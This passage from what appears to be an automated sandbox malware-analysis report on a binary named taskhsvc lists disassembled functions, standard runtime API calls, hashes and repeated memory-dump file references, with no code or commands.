                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_failevent_addevent_new
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3773441381-0
                                                                                                                          • Opcode ID: 8f3755ed1bf0b9d6e88801e94f8462b0b05c3d6eb710593438f6db85f8e18f7a
                                                                                                                          • Instruction ID: f2acc12eac6d9766f9488c1c66f932112ff5d2d598fbfcbd2641f09b2d263ef1
                                                                                                                          • Opcode Fuzzy Hash: 8f3755ed1bf0b9d6e88801e94f8462b0b05c3d6eb710593438f6db85f8e18f7a
                                                                                                                          • Instruction Fuzzy Hash: 62414AB2B447129BD704CF95CC8269EB7E1FB85360F498A28E554EB340D778D9428B91
                                                                                                                          Function 00C060ED Relevance: 6.1, APIs: 4, Instructions: 83COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          • free.MSVCRT ref: 00C06161
                                                                                                                          • free.MSVCRT ref: 00C061CB
                                                                                                                          • free.MSVCRT ref: 00C0620C
                                                                                                                            • Part of subcall function 00D5D543: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D5C979), ref: 00D5D5A9
                                                                                                                            • Part of subcall function 00D5D543: abort.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00D5C979), ref: 00D5D5EB
                                                                                                                            • Part of subcall function 00D5D543: memset.MSVCRT ref: 00D5D61A
                                                                                                                            • Part of subcall function 00D5D543: __stack_chk_fail.LIBSSP-0 ref: 00D5D62D
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00C06226
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: free$__stack_chk_failabort$memset
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 2524112016-0
                                                                                                                          • Opcode ID: 6c39c67b018952dc97794bf1ecfd34831ba5c9d5653569355501f53ace8aa38d
                                                                                                                          • Instruction ID: e0c97316bbb8f0d19fcb31ab1c0dbf89c4dc400c1a708d7dbd3308bc2c598659
                                                                                                                          • Opcode Fuzzy Hash: 6c39c67b018952dc97794bf1ecfd34831ba5c9d5653569355501f53ace8aa38d
                                                                                                                          • Instruction Fuzzy Hash: DF31C6B4E0460A8FDB00DF69C484BBEB7F0AF04345F058469A864DB391D778EA56DF61
                                                                                                                          Function 00D040B6 Relevance: 6.1, APIs: 4, Instructions: 58COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: free$__stack_chk_fail
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 3445780955-0
                                                                                                                          • Opcode ID: 38d241d65febf541bc5951a2637128fd718a880c288c0fabf220f38c7ae5f110
                                                                                                                          • Instruction ID: a4c7cf2f89911b78149fff93f646e8caf0e0a4489593b307997c457ed1fc0a10
                                                                                                                          • Opcode Fuzzy Hash: 38d241d65febf541bc5951a2637128fd718a880c288c0fabf220f38c7ae5f110
                                                                                                                          • Instruction Fuzzy Hash: 8E21C7B4A003169FDB00DFA9D844BAEB7F0BF04300F454855E868EB391D778E981CB61
                                                                                                                          Function 00D6417B Relevance: 6.0, APIs: 4, Instructions: 44COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586670548.0000000000DF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586712043.0000000000E00000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586756626.0000000000E01000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586794125.0000000000E04000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586830084.0000000000E05000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586878445.0000000000E16000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586918291.0000000000E1E000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586954865.0000000000E1F000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586987551.0000000000E20000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587024852.0000000000E22000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587058475.0000000000E23000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587095446.0000000000E25000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587133204.0000000000E2B000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587169531.0000000000E2C000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EBD000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587315193.0000000000EC2000.00000004.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587386506.0000000000EC3000.00000008.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6587423157.0000000000EC8000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          Joe Sandbox IDA Plugin
                                                                                                                          • Snapshot File: hcaresult_23_2_be0000_taskhsvc.jbxd
                                                                                                                          Similarity
                                                                                                                          • API ID: __stack_chk_faildeflatefreeinflate
                                                                                                                          • String ID:
                                                                                                                          • API String ID: 1800887084-0
                                                                                                                          • Opcode ID: ea20d852a9661283a22b8a4995ab23d0a7c161b8ca131d52fb7247fa7673bb34
                                                                                                                          • Instruction ID: 82f6d5af02133b295bd703a11c76ac8135262156f93d054251bdb06d50b1cf23
                                                                                                                          • Opcode Fuzzy Hash: ea20d852a9661283a22b8a4995ab23d0a7c161b8ca131d52fb7247fa7673bb34
                                                                                                                          • Instruction Fuzzy Hash: 7C11AD74E04606CFCB40EFA9D985AAEBBF1AF05300F459425A850E7351D738E986CF61
                                                                                                                          Function 00D440C8 Relevance: 5.6, APIs: 2, Strings: 1, Instructions: 324COMMON
                                                                                                                          Download Yara Rule
                                                                                                                          APIs
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D36586
                                                                                                                            • Part of subcall function 00D36562: strrchr.MSVCRT ref: 00D3659C
                                                                                                                            • Part of subcall function 00D36562: __stack_chk_fail.LIBSSP-0 ref: 00D36601
                                                                                                                            • Part of subcall function 00D39764: __stack_chk_fail.LIBSSP-0 ref: 00D39857
                                                                                                                          • abort.MSVCRT ref: 00D44120
                                                                                                                          • __stack_chk_fail.LIBSSP-0 ref: 00D444D9
                                                                                                                          Strings
                                                                                                                          Memory Dump Source
                                                                                                                          • Source File: 00000017.00000002.6585885424.0000000000CFC000.00000040.00000001.01000000.00000009.sdmp, Offset: 00BE0000, based on PE: true
                                                                                                                          • Associated: 00000017.00000002.6584175168.0000000000BE0000.00000002.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584256064.0000000000BE1000.00000020.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584343407.0000000000BE9000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584424221.0000000000BEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584607547.0000000000C45000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584691716.0000000000C48000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584788774.0000000000C4F000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584853132.0000000000C50000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6584948136.0000000000C86000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585009017.0000000000C87000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585114448.0000000000CAB000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585177342.0000000000CAC000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585242660.0000000000CAD000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585309875.0000000000CB0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585450773.0000000000CF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585517571.0000000000CF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585582792.0000000000CF6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585646727.0000000000CF7000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585713131.0000000000CF8000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585779653.0000000000CF9000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6585835268.0000000000CFA000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586034901.0000000000D68000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586179372.0000000000DDA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586235596.0000000000DE3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586287028.0000000000DE4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586324423.0000000000DE6000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586363827.0000000000DEA000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586404302.0000000000DEC000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586441228.0000000000DEE000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586476691.0000000000DEF000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586513573.0000000000DF0000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586555035.0000000000DF3000.00000080.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586594320.0000000000DF4000.00000040.00000001.01000000.00000009.sdmpDownload File
                                                                                                                          • Associated: 00000017.00000002.6586633729.0000000000DF8000.00000080.00000001.01000000.00000009.sdmpDownload File
